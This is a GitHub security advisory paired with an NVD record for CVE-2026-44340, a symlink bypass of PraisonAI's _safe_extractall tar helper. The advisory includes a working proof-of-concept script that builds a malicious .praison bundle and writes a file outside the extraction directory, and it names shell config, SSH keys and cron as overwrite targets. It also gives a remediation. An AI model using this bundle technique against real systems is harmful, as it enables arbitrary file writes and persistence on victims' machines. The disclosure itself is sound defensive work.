{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.36"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.37"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44340"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T13:59:41Z",
    "nvd_published_at": "2026-05-08T14:16:47Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe `_safe_extractall` helper that all `recipe pull`, `recipe publish`, and `recipe unpack` flows route through validates each archive member\u0027s `name` for absolute paths, `..` segments, and resolved-path escape \u2014 but does **not** validate `member.linkname`, does not reject symlink/hardlink members, and calls `tar.extractall(dest_dir)` without `filter=\"data\"`. A bundle that contains a symlink with a name\ninside `dest_dir` but a `linkname` pointing outside it, followed by a regular file whose path traverses *through* the just-created symlink, escapes `dest_dir` and lets the attacker write arbitrary content to an attacker-chosen location on the victim\u0027s filesystem.\n\n## Affected paths\n\nEvery code path that calls `_safe_extractall` is exposed:\n\n| Caller | File:line |\n|---|---|\n| `praisonai recipe unpack` | `src/praisonai/praisonai/cli/features/recipe.py:1175` (introduced as the fix for GHSA-99g3-w8gr-x37c) |\n| `LocalRegistry.unpack` (recipe pull) | `src/praisonai/praisonai/recipe/registry.py:413` |\n| Registry archive validation (publish) | `src/praisonai/praisonai/recipe/registry.py:808` |\n\n## Root cause\n\n`recipe/registry.py:131-178`:\n\n```python\ndef _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -\u003e None:\n    ...\n    for member in tar.getmembers():\n        ...\n        member_path = Path(member.name)\n        if member_path.is_absolute(): raise RegistryError(...)\n        if \u0027..\u0027 in member_path.parts: raise RegistryError(...)\n        resolved = (dest_resolved / member_path).resolve()\n        if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:\n            raise RegistryError(...)\n    # All members validated \u2014 safe to extract\n    tar.extractall(dest_dir)\n```\n\nThree gaps:\n\n1. The loop checks only `member.name`. `member.linkname` (the symlink / hardlink target) is not inspected.\n2. `member.issym()` and `member.islnk()` are not used to refuse link members at all.\n3. `tar.extractall(dest_dir)` runs without `filter=\"data\"`. On Python \u2264 3.13 the default is `fully_trusted` (with a DeprecationWarning on 3.12+), which permits symlinks pointing outside `dest_dir`.\n\nWhen the archive is extracted in member order, the symlink lands first, and any subsequent member whose path traverses through that symlink follows it to the attacker\u0027s chosen location.\n\n## Reproduction\n\nTested in a disposable container against `praisonai==4.6.35` (`pip install praisonai`, no other modifications).\n\n`make_bundle.py`:\n\n```python\nimport io, json, tarfile\nmanifest = json.dumps({\"name\": \"legit\", \"version\": \"1.0.0\"}).encode()\nwith tarfile.open(\"malicious.praison\", \"w:gz\") as tar:\n    info = tarfile.TarInfo(\"manifest.json\"); info.size = len(manifest)\n    tar.addfile(info, io.BytesIO(manifest))\n\n    sym = tarfile.TarInfo(\"legit/escape\")\n    sym.type = tarfile.SYMTYPE\n    sym.linkname = \"/tmp/PWNED\"\n    tar.addfile(sym)\n\n    payload = b\"PWNED via symlink-extraction bypass of _safe_extractall\\n\"\n    pf = tarfile.TarInfo(\"legit/escape/owned.txt\"); pf.size = len(payload)\n    tar.addfile(pf, io.BytesIO(payload))\n```\n\n`direct_test.py`:\n\n```python\nimport shutil, tarfile\nfrom pathlib import Path\nfrom praisonai.recipe.registry import _safe_extractall\n\nDEST = Path(\"/work/recipes_direct\")\nshutil.rmtree(DEST, ignore_errors=True); DEST.mkdir(parents=True)\nPath(\"/tmp/PWNED\").mkdir(parents=True, exist_ok=True)\n\nwith tarfile.open(\"malicious.praison\", \"r:gz\") as tar:\n    _safe_extractall(tar, DEST)\n\nassert Path(\"/tmp/PWNED/owned.txt\").exists(), \"did not escape\"\nprint(\"PWNED:\", Path(\"/tmp/PWNED/owned.txt\").read_text())\n```\n\nRun:\n\n```bash\ndocker run --rm -v \"$PWD:/work\" -w /work python:3.11-slim sh -c \u0027\n  pip install -q praisonai \u0026\u0026\n  python make_bundle.py \u0026\u0026\n  python direct_test.py\n\u0027\n```\n\nObserved output:\n\n```\n_safe_extractall returned cleanly\nPWNED: PWNED via symlink-extraction bypass of _safe_extractall\n```\n\n`/tmp/PWNED/owned.txt` exists after the call returns, written outside the destination directory the helper was asked to extract into.\n\n## Impact\n\nArbitrary file write with attacker-controlled content to an attacker-chosen path, on every host that processes a malicious `.praison` bundle through any of the three callers above.\n\nRealistic exploitation paths:\n\n- A user runs `praisonai recipe unpack ./\u003cmalicious\u003e.praison` after obtaining the bundle from a shared registry, a tutorial link, or\n  direct messaging.\n- A user runs `praisonai recipe pull \u003cname\u003e` against a malicious or compromised registry.\n- A registry server processes an uploaded `.praison` bundle (the publish path is reachable over the network if the server is exposed. per GHSA-r9x3-wx45-2v7f and GHSA-2xgv-5cv2-47vv).\n\nWhere the agent process runs as a regular user, the attacker can overwrite shell config (`.bashrc`, `.zshrc`, `.profile`), SSH `authorized_keys`, cron entries, or project files in adjacent directories. Where the process runs as root (registry-server deployments and some `sudo`-launched workflows), the attacker controls arbitrary system files.\n\nThis re-opens the `recipe pull`, `recipe publish`, and `recipe unpack` paths that GHSA-99g3-w8gr-x37c, GHSA-4rx4-4r3x-6534, GHSA-r9x3-wx45-2v7f, and GHSA-4ph2-f6pf-79wv were each intended to close.\n\n## Suggested remediation\n\nSingle-line fix at `recipe/registry.py:178`:\n\n```python\ntar.extractall(dest_dir, filter=\"data\")\n```\n\n`filter=\"data\"` (introduced in Python 3.12; available as a backport on 3.8+ via the official PEP 706 reference implementation) refuses\nsymlinks, hardlinks, device nodes, and absolute or escaping link targets, it is the canonical Python defense against this class.\nIf you also support older Python, add an explicit guard inside the existing per-member loop before `tar.extractall`:\n\n```python\nif member.issym() or member.islnk():\n    link_target = (dest_resolved / member_path.parent / member.linkname).resolve()\n    if member.linkname.startswith(\"/\") or not str(link_target).startswith(str(dest_resolved) + os.sep):\n        raise RegistryError(\n            f\"Refusing to extract link with target outside dest dir: \"\n            f\"{member.name} -\u003e {member.linkname}\"\n        )\n```\n\n## Affected versions\n\n`praisonai \u003e= 2.7.2` through current `4.6.35` (the helper exists at least back to the earliest path-traversal patch chain referenced in\nGHSA-99g3-w8gr-x37c). All releases that route extraction through `_safe_extractall` are exposed.\n\n## Disclosure\n\nReported privately via the project\u0027s GHSA workflow at\nhttps://github.com/MervinPraison/PraisonAI/security/advisories/new\n\n-- Dhiral Vyas",
  "id": "GHSA-9q28-ghcr-c4x3",
  "modified": "2026-05-11T13:59:41Z",
  "published": "2026-05-11T13:59:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9q28-ghcr-c4x3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44340"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PraisonAI\u0027s symlink-extraction bypass of `_safe_extractall` writes outside `dest_dir`"
}

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "A4E257B3-EAC7-4FEF-B4DD-E262F1922CDF",
              "versionEndExcluding": "4.6.37",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "PraisonAI is a multi-agent teams system. Prior to version 4.6.37, the _safe_extractall helper that all recipe pull, recipe publish, and recipe unpack flows route through validates each archive member\u0027s name for absolute paths, .. segments, and resolved-path escape \u2014 but does not validate member.linkname, does not reject symlink/hardlink members, and calls tar.extractall(dest_dir) without filter=\"data\". A bundle that contains a symlink with a name inside dest_dir but a linkname pointing outside it, followed by a regular file whose path traverses through the just-created symlink, escapes dest_dir and lets the attacker write arbitrary content to an attacker-chosen location on the victim\u0027s filesystem. This issue has been patched in version 4.6.37."
    }
  ],
  "id": "CVE-2026-44340",
  "lastModified": "2026-05-08T19:04:18.107",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-05-08T14:16:47.040",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Vendor Advisory",
        "Exploit",
        "Mitigation"
      ],
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9q28-ghcr-c4x3"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        },
        {
          "lang": "en",
          "value": "CWE-59"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}